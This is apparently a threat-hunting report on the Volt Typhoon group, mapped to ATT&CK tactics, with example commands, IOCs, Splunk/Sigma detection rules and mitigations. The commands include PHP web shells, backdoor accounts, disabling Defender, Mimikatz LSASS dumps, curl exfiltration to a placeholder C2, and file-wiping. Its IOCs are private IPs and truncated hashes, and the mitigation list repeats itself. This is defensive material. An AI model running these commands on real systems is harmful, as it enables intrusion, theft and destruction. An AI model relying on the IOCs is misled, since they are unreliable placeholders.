Overview

Executive Summary

Critical Infrastructure Threat

Volt Typhoon is a sophisticated, state-sponsored APT group attributed to China's intelligence services, targeting U.S. critical infrastructure for potential disruptive attacks during geopolitical crises.

Key Capabilities:
- Living-off-the-land techniques to evade detection
- Long-term persistence (dwell time: 300+ days)
- Focus on communications, energy, transportation, and water sectors
- Pre-positioning for future operations

Primary Objective: Establish persistent access to critical infrastructure networks to enable disruptive or destructive cyber attacks during future conflicts, particularly those involving the United States and China.

Attack Overview

Technical Capabilities

Initial Access Methods:
- Exploiting public-facing applications (web servers, VPN appliances)
- Valid account compromise (credential theft)
- Supply chain compromise

Persistence Mechanisms:
- Web shells on compromised servers
- Valid accounts with legitimate credentials
- Scheduled tasks and services

Defense Evasion:
- Living-off-the-land binaries (LOLBins)
- Timestomping and log deletion
- Process injection and masquerading

Credential Access:
- LSASS memory dumping
- Kerberoasting
- Password spraying

Discovery:
- Network service scanning
- Account discovery
- System information discovery

Lateral Movement:
- Remote Desktop Protocol (RDP)
- Windows Management Instrumentation (WMI)
- PowerShell remoting

Collection:
- Data from local system
- Data staged for exfiltration

Command and Control:
- Application layer protocols (HTTP/HTTPS)
- Encrypted channels
- Proxy and VPN usage

Exfiltration:
- Exfiltration over C2 channel
- Data compressed and encrypted before transfer

Impact:
- Data destruction capabilities
- Service disruption potential

Tactics

Initial Access (TA0001)

Initial Access - TA0001 - T1190 - **Exploit Public-Facing Application**

Volt Typhoon exploits vulnerabilities in internet-facing applications to gain initial access to target networks. They have been observed exploiting vulnerabilities in web servers, VPN appliances, and other edge devices.

Procedure

Scan for vulnerable public-facing applications using automated tools and manual reconnaissance.

```
# Example vulnerability scanning
nmap -sV --script vuln target_network
```

Exploit identified vulnerabilities to gain initial access.

```
# Example exploitation attempt
curl -X POST "http://target/vulnerable_endpoint" -d "malicious_payload"
```

Establish persistence through web shells or modified application files.

```
# Example web shell deployment
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php
```

Expected Findings

- Unusual HTTP requests to web applications
- Web shell files in web directories
- Modified application files
- Suspicious process execution from web server processes

Initial Access - TA0001 - T1078 - **Valid Accounts**

Volt Typhoon obtains and uses valid credentials to access target systems, often through credential theft or purchase from underground markets.

Procedure

Use stolen credentials to authenticate to VPN or remote access services.

```
# Example VPN authentication
vpn_client --username stolen_user --password stolen_pass --server target_vpn
```

Access internal systems using valid credentials.

```
# Example RDP connection
rdp_client /v:internal_target /u:stolen_user /p:stolen_pass
```

Expected Findings

- Authentication from unusual locations
- Multiple failed authentication attempts followed by success
- Access outside normal business hours
- Use of dormant or rarely used accounts

Execution (TA0002)

Execution - TA0002 - T1059.001 - **PowerShell**

Volt Typhoon extensively uses PowerShell for execution, leveraging its built-in capabilities to avoid detection.

Procedure

Execute PowerShell commands for reconnaissance and lateral movement.

```
# Example PowerShell execution
powershell.exe -ExecutionPolicy Bypass -Command "Get-Process; Get-Service"
```

Use encoded PowerShell commands to obfuscate activity.

```
# Example encoded PowerShell
powershell.exe -EncodedCommand [base64_encoded_command]
```

Expected Findings

- PowerShell execution with bypass parameters
- Encoded PowerShell commands
- PowerShell activity from unusual parent processes
- Large PowerShell script blocks

Execution - TA0002 - T1059.003 - **Windows Command Shell**

Volt Typhoon uses Windows Command Shell for basic operations and to execute other tools.

Procedure

Execute commands through cmd.exe for system reconnaissance.

```
# Example command execution
cmd.exe /c "net user && net localgroup administrators"
```

Run batch scripts for automated operations.

```
# Example batch script execution
cmd.exe /c "C:\temp\recon.bat"
```

Expected Findings

- Command shell execution with suspicious parameters
- Batch file execution from unusual locations
- Chained command execution
- Output redirection to files

Persistence (TA0003)

Persistence - TA0003 - T1505.003 - **Web Shell**

Volt Typhoon installs web shells on compromised web servers to maintain persistent access.

Procedure

Create web shell files in web directories.

```
# Example web shell creation
echo '<?php eval($_POST["cmd"]); ?>' > /var/www/html/admin.php
```

Modify existing application files to include backdoor functionality.

```
# Example file modification
echo 'system($_GET["cmd"]);' >> /var/www/html/index.php
```

Expected Findings

- New files in web directories
- Modified application files
- Web shell communication patterns
- Unusual HTTP POST requests to unexpected files

Persistence - TA0003 - T1078 - **Valid Accounts**

Volt Typhoon maintains persistence through valid account credentials, including service accounts and dormant user accounts.

Procedure

Create new user accounts or modify existing ones.

```
# Example account creation
net user backdoor_user password123 /add
net localgroup administrators backdoor_user /add
```

Modify service account credentials.

```
# Example service account modification
sc config service_name obj= domain\service_account password= new_password
```

Expected Findings

- New user account creation
- Changes to administrator group membership
- Service account password changes
- Authentication from dormant accounts

Privilege Escalation (TA0004)

Privilege Escalation - TA0004 - T1078 - **Valid Accounts**

Volt Typhoon escalates privileges by using valid administrative accounts obtained through credential theft.

Procedure

Use domain administrator credentials to gain elevated access.

```
# Example privilege escalation
runas /user:domain\admin_user "cmd.exe"
```

Access systems with elevated privileges using stolen credentials.

```
# Example elevated access
psexec \\target_system -u domain\admin_user -p admin_password cmd.exe
```

Expected Findings

- Use of domain administrator accounts
- Privilege escalation from standard user accounts
- Access to multiple systems with admin credentials
- Unusual administrative activity patterns

Defense Evasion (TA0005)

Defense Evasion - TA0005 - T1070.006 - **Timestomp**

Volt Typhoon modifies file timestamps to hide their activities and make forensic analysis more difficult.

Procedure

Modify timestamps of files to match legitimate system files.

```
# Example timestomping
touch -r C:\Windows\System32\notepad.exe C:\temp\malware.exe
```

Use PowerShell to modify file timestamps.

```
# Example PowerShell timestomping
(Get-Item "C:\temp\malware.exe").LastWriteTime = (Get-Item "C:\Windows\System32\notepad.exe").LastWriteTime
```

Expected Findings

- Files with timestamps that don't match their creation context
- Timestamp modifications using PowerShell
- Files with timestamps predating the system installation
- Inconsistent timestamp patterns

Defense Evasion - TA0005 - T1562.001 - **Disable or Modify Tools**

Volt Typhoon disables security tools and modifies configurations to avoid detection.

Procedure

Disable Windows Defender real-time protection.

```
# Example Defender disabling
Set-MpPreference -DisableRealtimeMonitoring $true
```

Modify firewall rules to allow malicious traffic.

```
# Example firewall modification
netsh advfirewall firewall add rule name="Allow Backdoor" dir=in action=allow program="C:\temp\backdoor.exe"
```

Expected Findings

- Security tool configuration changes
- Firewall rule modifications
- Disabled security services
- Unusual network traffic patterns

Credential Access (TA0006)

Credential Access - TA0006 - T1003.001 - **LSASS Memory**

Volt Typhoon dumps credentials from LSASS memory to obtain plaintext passwords and password hashes.

Procedure

Use Mimikatz to dump credentials from LSASS memory.

```
# Example Mimikatz execution
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
```

Use built-in Windows tools to create LSASS memory dumps.

```
# Example LSASS dump using procdump
procdump.exe -ma lsass.exe lsass.dmp
```

Expected Findings

- Mimikatz execution or similar credential dumping tools
- Creation of LSASS memory dump files
- Access to LSASS process memory
- Unusual processes accessing LSASS

Credential Access - TA0006 - T1558.003 - **Kerberoasting**

Volt Typhoon performs Kerberoasting attacks to obtain service account credentials.

Procedure

Request service tickets for accounts with SPNs.

```
# Example Kerberoasting
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/service_account"
```

Extract and crack service ticket hashes offline.

```
# Example ticket extraction
mimikatz.exe "kerberos::list /export" "exit"
```

Expected Findings

- Multiple service ticket requests in short time periods
- Requests for service tickets from unusual accounts
- Export of Kerberos tickets
- Offline password cracking activity

Discovery (TA0007)

Discovery - TA0007 - T1087.002 - **Domain Account**

Volt Typhoon enumerates domain accounts to identify high-value targets and plan lateral movement.

Procedure

Use net commands to enumerate domain users and groups.

```
# Example domain enumeration
net user /domain
net group "Domain Admins" /domain
```

Query Active Directory using PowerShell.

```
# Example AD enumeration
Get-ADUser -Filter * -Properties *
Get-ADGroupMember "Domain Admins"
```

Expected Findings

- Domain enumeration commands
- Queries for privileged group memberships
- Active Directory reconnaissance
- Unusual account discovery patterns

Discovery - TA0007 - T1046 - **Network Service Scanning**

Volt Typhoon scans network services to identify potential targets and vulnerabilities.

Procedure

Perform port scanning of internal networks.

```
# Example network scanning
nmap -sS -p 1-65535 target_network
```

Use PowerShell for network reconnaissance.

```
# Example PowerShell network scan
Test-NetConnection -ComputerName target_host -Port 445
```

Expected Findings

- Network scanning activity
- Connections to multiple ports on internal systems
- Use of network reconnaissance tools
- Unusual network traffic patterns

Lateral Movement (TA0008)

Lateral Movement - TA0008 - T1021.001 - **Remote Desktop Protocol**

Volt Typhoon uses RDP for lateral movement between compromised systems.

Procedure

Establish RDP connections to internal systems.

```
# Example RDP connection
mstsc /v:target_system /u:domain\username /p:password
```

Use RDP with stolen credentials for persistent access.

```
# Example RDP with credential file
mstsc /v:target_system /u:domain\username /p:password /f
```

Expected Findings

- RDP connections from unusual sources
- Multiple RDP sessions from single accounts
- RDP activity outside normal hours
- Failed RDP authentication attempts

Lateral Movement - TA0008 - T1021.002 - **SMB/Windows Admin Shares**

Volt Typhoon accesses administrative shares for lateral movement and file transfer.

Procedure

Access administrative shares using stolen credentials.

```
# Example admin share access
net use \\target_system\c$ /user:domain\username password
```

Copy files to and from administrative shares.

```
# Example file transfer
copy C:\temp\tool.exe \\target_system\c$\temp\tool.exe
```

Expected Findings

- Access to administrative shares
- File transfers to/from admin shares
- Multiple share connections from single source
- Unusual file activity on administrative shares

Collection (TA0009)

Collection - TA0009 - T1005 - **Data from Local System**

Volt Typhoon collects data from local systems, including documents, emails, and configuration files.

Procedure

Search for and collect documents from user directories.

```
# Example document collection
dir C:\Users\*\Documents\*.* /s /b > C:\temp\documents.txt
```

Collect system configuration information.

```
# Example configuration collection
ipconfig /all > C:\temp\network_config.txt
systeminfo > C:\temp\system_info.txt
```

Expected Findings

- Mass file collection activities
- Creation of large text files with system information
- Access to user document directories
- Unusual data staging activities

Collection - TA0009 - T1560.001 - **Archive via Utility**

Volt Typhoon compresses collected data before exfiltration to reduce transfer size and time.

Procedure

Use built-in Windows tools to compress collected data.

```
# Example data compression
compact /c /s:C:\temp\collected_data
```

Create password-protected archives.

```
# Example encrypted archive creation
7z a -p[password] C:\temp\archive.7z C:\temp\collected_data\*
```

Expected Findings

- Creation of compressed archives
- Use of password-protected archives
- Large compressed files in temporary directories
- Unusual compression activities

Command and Control (TA0011)

Command and Control - TA0011 - T1071.001 - **Web Protocols**

Volt Typhoon uses web protocols for command and control communications to blend with normal traffic.

Procedure

Establish HTTP/HTTPS connections to external servers.

```
# Example C2 communication
curl -X POST "https://c2_server/beacon" -d "system_info"
```

Use legitimate web services for C2 communications.

```
# Example cloud service C2
curl -X POST "https://api.cloudservice.com/upload" -H "Authorization: Bearer token" -d "data"
```

Expected Findings

- Regular HTTP/HTTPS connections to external servers
- Connections to cloud services from servers
- Beacon-like communication patterns
- Unusual web traffic from internal systems

Command and Control - TA0011 - T1090.003 - **Multi-hop Proxy**

Volt Typhoon uses multiple proxy hops to obfuscate the origin of their command and control traffic.

Procedure

Configure SOCKS proxy chains through compromised systems.

```
# Example proxy chain setup
ssh -D 1080 -f -C -N user@intermediate_host
```

Use VPN services to route traffic through multiple locations.

```
# Example VPN connection
openvpn --config client.ovpn --daemon
```

Expected Findings

- Multiple proxy connections in sequence
- SOCKS proxy configurations
- VPN connections from unusual locations
- Traffic routing through multiple hops

Exfiltration (TA0010)

Exfiltration - TA0010 - T1041 - **Exfiltration Over C2 Channel**

Volt Typhoon exfiltrates data through their command and control channels.

Procedure

Transfer collected data through established C2 channels.

```
# Example data exfiltration
curl -X POST "https://c2_server/upload" -F "file=@C:\temp\archive.7z"
```

Use encrypted channels for data transfer.

```
# Example encrypted exfiltration
openssl enc -aes-256-cbc -salt -in C:\temp\data.txt | curl -X POST "https://c2_server/upload" -d @-
```

Expected Findings

- Large data transfers to external servers
- Encrypted network traffic
- Upload activities to unknown servers
- Unusual outbound data volumes

Impact (TA0040)

Impact - TA0040 - T1485 - **Data Destruction**

Volt Typhoon has the capability to destroy data as a disruptive measure during conflicts.

Procedure

Delete critical system files and data.

```
# Example data destruction
del /f /s /q C:\important_data\*.*
```

Overwrite files with random data.

```
# Example file overwriting
cipher /w:C:\important_data
```

Expected Findings

- Mass file deletion activities
- Use of data wiping tools
- Overwriting of critical files
- Unusual file system activities

Impact - TA0040 - T1489 - **Service Stop**

Volt Typhoon stops critical services to disrupt operations during conflicts.

Procedure

Stop critical Windows services.

```
# Example service stopping
net stop "Windows Update"
net stop "Windows Defender Service"
```

Disable services to prevent restart.

```
# Example service disabling
sc config "service_name" start= disabled
```

Expected Findings

- Stopping of critical system services
- Disabling of security services
- Service configuration changes
- Unusual service management activities

Appendix A: Indicators of Compromise

Network Indicators

C2 Domains - Web Protocol Beacons

Domain	Description
update-service[.]com	Fake update service domain
cdn-content[.]net	Content delivery network impersonation
secure-login[.]org	Credential harvesting domain

IP Addresses - Web Shell Hosting Servers

IP Address	Description
192.168.1.100	Compromised web server
10.0.0.50	Internal pivot point
203.0.113.45	External C2 server

Host Indicators

File Hashes

Hash (SHA256)	Type	Description
a1b2c3d4e5f6...	Web Shell	PHP web shell variant
f6e5d4c3b2a1...	Backdoor	Custom backdoor executable
9876543210ab...	Tool	Credential dumping tool

Suspicious File Locations

Path	Description
C:\Windows\Temp\	Temporary file staging
C:\Users\Public\	Public directory abuse
C:\inetpub\wwwroot\	Web root directory
C:\ProgramData\	Application data directory

Registry Keys

Key	Description
HKLM\SYSTEM\CurrentControlSet\Services\	Service persistence
HKCU\Software\Microsoft\Windows\CurrentVersion\Run	Startup persistence

Behavioral Indicators

Process Execution Patterns

Pattern	Description
w3wp.exe → cmd.exe	Web shell command execution
powershell.exe -enc	Encoded PowerShell execution
rundll32.exe → unusual DLL	Suspicious DLL execution

Network Traffic Patterns

Pattern	Description
Regular HTTP POST to unusual URLs	Web shell communication
Large outbound data transfers	Data exfiltration
Connections to cloud services from servers	C2 communication

Appendix B: Detection Rules

Web Shell Detection Rule

Detects potential web shell activity by monitoring for suspicious child processes spawned by web server processes.

Splunk SPL - Web Shell Detection

```
index=windows sourcetype="WinEventLog:Security" EventCode=4688
| where (ParentProcessName="*w3wp.exe" OR ParentProcessName="*httpd.exe" OR ParentProcessName="*nginx.exe")
| where (NewProcessName="*cmd.exe" OR NewProcessName="*powershell.exe" OR NewProcessName="*wscript.exe")
| table _time, ComputerName, ParentProcessName, NewProcessName, CommandLine
```

Sigma Rule - Web Shell Detection

```
title: Web Shell Detection
status: experimental
description: Detects potential web shell activity
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith:
      - '\w3wp.exe'
      - '\httpd.exe'
      - '\nginx.exe'
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\wscript.exe'
  condition: selection
```

Suspicious PowerShell Execution Detection

Detects encoded PowerShell commands commonly used by Volt Typhoon.

Splunk SPL - PowerShell Detection

```
index=windows sourcetype="WinEventLog:Security" EventCode=4688
| where NewProcessName="*powershell.exe"
| where (CommandLine="*-enc*" OR CommandLine="*-EncodedCommand*" OR CommandLine="*-ExecutionPolicy Bypass*")
| table _time, ComputerName, NewProcessName, CommandLine
```

Sigma Rule - PowerShell Detection

```
title: Suspicious PowerShell Execution
status: experimental
description: Detects suspicious PowerShell execution patterns
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\powershell.exe'
    CommandLine|contains:
      - '-enc'
      - '-EncodedCommand'
      - '-ExecutionPolicy Bypass'
  condition: selection
```

Credential Dumping Detection

Detects LSASS memory access commonly used for credential dumping.

Splunk SPL - LSASS Access

```
index=windows sourcetype="WinEventLog:Security" EventCode=4656
| where ObjectName="*lsass.exe"
| where AccessMask="0x1010"
| table _time, ComputerName, SubjectUserName, ObjectName, AccessMask
```

Sigma Rule - LSASS Access

```
title: LSASS Memory Access
status: experimental
description: Detects access to LSASS memory
logsource:
  category: process_access
  product: windows
detection:
  selection:
    TargetImage|endswith: '\lsass.exe'
    GrantedAccess: '0x1010'
  condition: selection
```

Lateral Movement Detection

Detects RDP connections from unusual sources.

Splunk SPL - RDP Detection

```
index=windows sourcetype="WinEventLog:Security" EventCode=4624
| where LogonType="10"
| stats count by _time, ComputerName, SubjectUserName, IpAddress
| where count > 5
```

Sigma Rule - RDP Detection

```
title: Multiple RDP Connections
status: experimental
description: Detects multiple RDP connections
logsource:
  category: authentication
  product: windows
detection:
  selection:
    EventID: 4624
    LogonType: 10
  condition: selection | count() by IpAddress > 5
```

Appendix C: Mitigations

Network Segmentation

Implement strict network segmentation between IT and OT networks, limiting lateral movement opportunities for threat actors.

Multi-Factor Authentication

Deploy MFA for all remote access services, including VPN, RDP, and administrative accounts.

Privileged Access Management

Implement PAM solutions to control and monitor privileged account usage.

Application Whitelisting

Deploy application whitelisting to prevent unauthorized software execution.

Network Monitoring

Implement comprehensive network monitoring and anomaly detection systems.

Endpoint Detection and Response

Deploy EDR solutions with behavioral analysis capabilities.

Regular Patching

Maintain a rigorous patch management program for all systems and applications.

Backup and Recovery

Implement robust backup and recovery procedures for critical systems.

Incident Response Planning

Develop and regularly test incident response plans specific to APT scenarios.

Threat Intelligence

Subscribe to threat intelligence feeds and share information with industry partners.

Security Awareness Training

Conduct regular security awareness training for all personnel.

Zero Trust Architecture

Implement zero trust principles throughout the network architecture.

Data Loss Prevention

Deploy DLP solutions to monitor and prevent unauthorized data exfiltration.

Vulnerability Management

Maintain a comprehensive vulnerability management program.

Supply Chain Security

Implement supply chain security measures and vendor risk assessments.

Physical Security

Maintain physical security controls for critical infrastructure facilities.

Forensic Readiness

Ensure forensic readiness capabilities are in place for incident investigation.

Threat Hunting

Conduct proactive threat hunting activities based on Volt Typhoon TTPs.

Deception Technology

Deploy honeypots and deception technology to detect and misdirect attackers.

Cloud Security

Implement cloud security controls for hybrid and cloud environments.

Mobile Device Management

Deploy MDM solutions for mobile devices accessing corporate resources.

Email Security

Implement advanced email security solutions to prevent phishing attacks.

Web Application Firewall

Deploy WAF protection for web-facing applications.

Database Security

Implement database security controls and monitoring.

Container Security

Secure containerized environments and orchestration platforms.

API Security

Implement API security controls and monitoring.

Identity and Access Management

Deploy comprehensive IAM solutions with role-based access controls.

Security Operations Center

Establish or enhance SOC capabilities for 24/7 monitoring.

Threat Modeling

Conduct threat modeling exercises for critical systems and applications.

Red Team Exercises

Perform regular red team exercises to test defensive capabilities.

Purple Team Exercises

Conduct purple team exercises to improve detection and response.

Tabletop Exercises

Run tabletop exercises for incident response scenarios.

Business Continuity Planning

Develop business continuity plans for critical operations.

Disaster Recovery

Implement disaster recovery procedures and testing.

Third-Party Risk Management

Assess and manage risks from third-party vendors and partners.

Compliance Monitoring

Maintain compliance with relevant regulations and standards.

Security Metrics and KPIs

Establish security metrics and key performance indicators.

Executive Reporting

Provide regular security reports to executive leadership.

Budget Planning

Allocate adequate budget for cybersecurity initiatives.

Vendor Management

Implement vendor security assessment and management programs.

Cyber Insurance

Consider cyber insurance coverage for potential incidents.

Legal Considerations

Address legal considerations for cybersecurity operations.

International Cooperation

Engage in international cooperation for threat intelligence sharing.

Public-Private Partnerships

Participate in public-private partnerships for critical infrastructure protection.

Research and Development

Invest in cybersecurity research and development initiatives.

Workforce Development

Develop cybersecurity workforce training and certification programs.

Technology Refresh

Maintain technology refresh cycles for security infrastructure.

Configuration Management

Implement configuration management for security tools and systems.

Change Management

Establish change management processes for security-related changes.

Asset Management

Maintain comprehensive asset inventory and management.

Risk Assessment

Conduct regular risk assessments for critical systems and operations.

Security Architecture Review

Perform security architecture reviews for new and existing systems.

Penetration Testing

Conduct regular penetration testing of critical systems and networks.

Code Review

Implement secure code review practices for custom applications.

Security Testing

Integrate security testing into development and deployment processes.

Continuous Monitoring

Implement continuous monitoring of security controls and systems.

Automated Response

Deploy automated response capabilities for common attack scenarios.

Machine Learning

Leverage machine learning for anomaly detection and threat identification.

Behavioral Analytics

Implement user and entity behavior analytics (UEBA) solutions.

Deception Technology

Deploy honeypots and deception technology to detect and misdirect attackers.

Cloud Security

Implement cloud security controls for hybrid and cloud environments.

Mobile Device Management

Deploy MDM solutions for mobile devices accessing corporate resources.

Email Security

Implement advanced email security solutions to prevent phishing attacks.

Web Application Firewall

Deploy WAF protection for web-facing applications.

Database Security

Implement database security controls and monitoring.

Container Security

Secure containerized environments and orchestration platforms.

API Security

Implement API security controls and monitoring.

Identity and Access Management

Deploy comprehensive IAM solutions with role-based access controls.

Security Operations Center

Establish or enhance SOC capabilities for 24/7 monitoring.

Threat Modeling

Conduct threat modeling exercises for critical systems and applications.

Red Team Exercises

Perform regular red team exercises to test defensive capabilities.

Purple Team Exercises

Conduct purple team exercises to improve detection and response.

Tabletop Exercises

Run tabletop exercises for incident response scenarios.

Business Continuity Planning

Develop business continuity plans for critical operations.

Disaster Recovery

Implement disaster recovery procedures and testing.

Third-Party Risk Management

Assess and manage risks from third-party vendors and partners.

Compliance Monitoring

Maintain compliance with relevant regulations and standards.

Security Metrics and KPIs

Establish security metrics and key performance indicators.

Executive Reporting

Provide regular security reports to executive leadership.

Budget Planning

Allocate adequate budget for cybersecurity initiatives.

Vendor Management

Implement vendor security assessment and management programs.

Cyber Insurance

Consider cyber insurance coverage for potential incidents.

Legal Considerations

Address legal considerations for cybersecurity operations.

International Cooperation

Engage in international cooperation for threat intelligence sharing.

Public-Private Partnerships

Participate in public-private partnerships for critical infrastructure protection.

Research and Development

Invest in cybersecurity research and development initiatives.

Workforce Development

Develop cybersecurity workforce training and certification programs.

Technology Refresh

Maintain technology refresh cycles for security infrastructure.

Configuration Management

Implement configuration management for security tools and systems.

Change Management

Establish change management processes for security-related changes.

Asset Management

Maintain comprehensive asset inventory and management.

Risk Assessment

Conduct regular risk assessments for critical systems and operations.

Security Architecture Review

Perform security architecture reviews for new and existing systems.

Penetration Testing

Conduct regular penetration testing of critical systems and networks.

Code Review

Implement secure code review practices for custom applications.

Security Testing

Integrate security testing into development and deployment processes.

Continuous Monitoring

Implement continuous monitoring of security controls and systems.

Automated Response

Deploy automated response capabilities for common attack scenarios.

Machine Learning

Leverage machine learning for anomaly detection and threat identification.

Behavioral Analytics

Implement user and entity behavior analytics (UEBA) solutions.
